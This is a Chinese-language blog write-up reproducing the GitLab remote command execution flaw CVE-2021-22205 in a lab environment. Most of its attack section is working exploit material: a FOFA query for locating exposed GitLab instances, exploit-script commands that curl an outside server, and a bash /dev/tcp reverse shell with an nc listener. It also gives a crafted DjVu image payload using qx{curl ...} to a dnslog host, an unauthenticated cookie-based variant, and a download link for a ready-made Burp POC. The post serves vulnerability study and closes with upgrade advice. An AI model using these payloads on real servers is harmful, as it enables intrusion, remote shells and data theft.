GitLab 远程命令执行漏洞复现(CVE-2021-22205)
一、漏洞描述
GitLab 没有正确验证传递给文件解析器的图像文件,这导致远程命令执行,可执行系统命令。这是一个严重的问题。它现在在最新版本中得到缓解,漏洞编号CVE-2021-22205。
二、影响范围
以下版本范围内的 GitLab(CE/EE)受到漏洞影响:
11.9 <= GitLab(CE/EE)< 13.8.8
13.9 <= GitLab(CE/EE)< 13.9.6
13.10 <= GitLab(CE/EE)< 13.10.3
三、fofa搜索
自己人不打自己人
title="GitLab"
页面长这样
image-20211102092216930
四、环境搭建
git clone https://github.com/vulhub/vulhub.git
cd vulhub/gitlab/CVE-2021-22205/
docker-compose up -d
docker配置中设置的端口映射到本地的8080端口,bp开着的记得换一下端口
环境启动后,访问http://127.0.0.1:8080即可查看到GitLab的登录页面
image-20211102154432735
五、脚本复现
1 下载工具
https://github.com/Al1ex/CVE-2021-22205
git到本地,由于执行命令无回显,可以使用dnslog外带回显结果
http://dnslog.cn/
获取一个dnslog的url,替换到脚本里面
image-20211102161540518image-20211102161638995
开始唆
2 检测漏洞是否存在
python3 CVE-2021-22205.py -v true -t http://10.0.1.12:8080/
image-20211102161900299
3 命令执行
试一下先,不知道为什么我这里没有dnslog回显
python3 CVE-2021-22205.py -a true -t http://10.0.1.12:8080/ -c "curl http://4.xx.xx.6/1.txt"
image-20211102162200134
但是服务器可以看出已经成功执行
image-20211102162243798
4 反弹shell
# 写入反弹shell脚本
python3 CVE-2021-22205.py -a true -t http://10.0.1.12:8080/ -c "echo 'bash -i >& /dev/tcp/4.xx.xx.6/6666 0>&1' > /tmp/1.sh"
# 给执行权限
python3 CVE-2021-22205.py -a true -t http://10.0.1.12:8080/ -c "chmod +x /tmp/1.sh"
# 服务器监听6666端口
nc -lvnp 6666
# 运行,获取git权限shell
python3 CVE-2021-22205.py -a true -t http://10.0.1.12:8080/ -c "/bin/bash /tmp/1.sh"
image-20211102162743402image-20211102213550299
六、手工复现-有授权
1 上传点
vulhub截止到今天2021.11.2,我今天拉的docker,gitlab环境有点问题,注册账号需要管理员审核,但找不到管理员账号密码。。。
换vulfocus靶场,搭建之后访问,会跳转到设置密码的页面,设置root新密码就可以登录啦,页面长这样
image-20211102172744884
搞个普通用户复现漏洞,注册ch4nge用户
登录后到个人主页,找到Snippets
,新建
image-20211102201740899
此处需要上传DjVu
格式图片(即Exp)
image-20211102201936387
2 DjVu格式图片制作方式
下载安装DjVuLibre地址
http://djvu.sourceforge.net/
准备好将要压缩图片的文本
(metadata
(Copyright "\
" . qx{curl cc.n443pb.dnslog.cn} . \
" b ") )
生成Exp
djvumake rce.djvu INFO=0,0 BGjp=/dev/null ANTa=rce.txt && mv rce.djvu rce.jpg
image-20211102203205714
3 上传Exp
image-20211102203859540
虽然报错,但是已经执行了命令
image-20211102203927038
将恶意代码修改为远程访问文件试一下
(metadata
(Copyright "\
" . qx{curl http://4.xx.xx.6/1.txt} . \
" b ") )
image-20211102205014094
4 命令执行
成功执行,之后没必要一次次生成文件了,上传文件的时候使用burpsuite抓包,直接在包里改命令就好
image-20211102211355774image-20211102213342552
七、手工复现-未授权
有些gitlab是没法直接注册用户使用的,这就用到未授权获取cookie。POC都是我登录账号之后抓的
1 获取cookie
使用登录页面返回的 Cookie 值和 csrf-token 值
POC
GET /users/sign_in HTTP/1.1
Host: 10.11.1.120:8020
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
image-20211102211623804image-20211102211645904
2 RCE
使用登录页面返回的 Cookie 值和 csrf-token 值,成功实现 RCE。
image-20211102211913301image-20211102213447050
3 POC下载
文件下载
https://change.lanzouw.com/iJySRw2kr8j 密码:love
下载后导入bp的重放器,改host就行
image-20211102212604909image-20211102212619680image-20211102212640984
八、解决方案
升级到最新版本。
要更新 GitLab,请参阅更新页面。要更新 Gitlab Runner,请参阅更新 Runner 页面。
九、参考
https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/
https://github.com/Al1ex/CVE-2021-22205
https://blog.csdn.net/smellycat000/article/details/121005824
https://www.wangan.com/p/7fygfydb5d6d0c1e
- 点赞
- 收藏
- 关注作者
评论(0)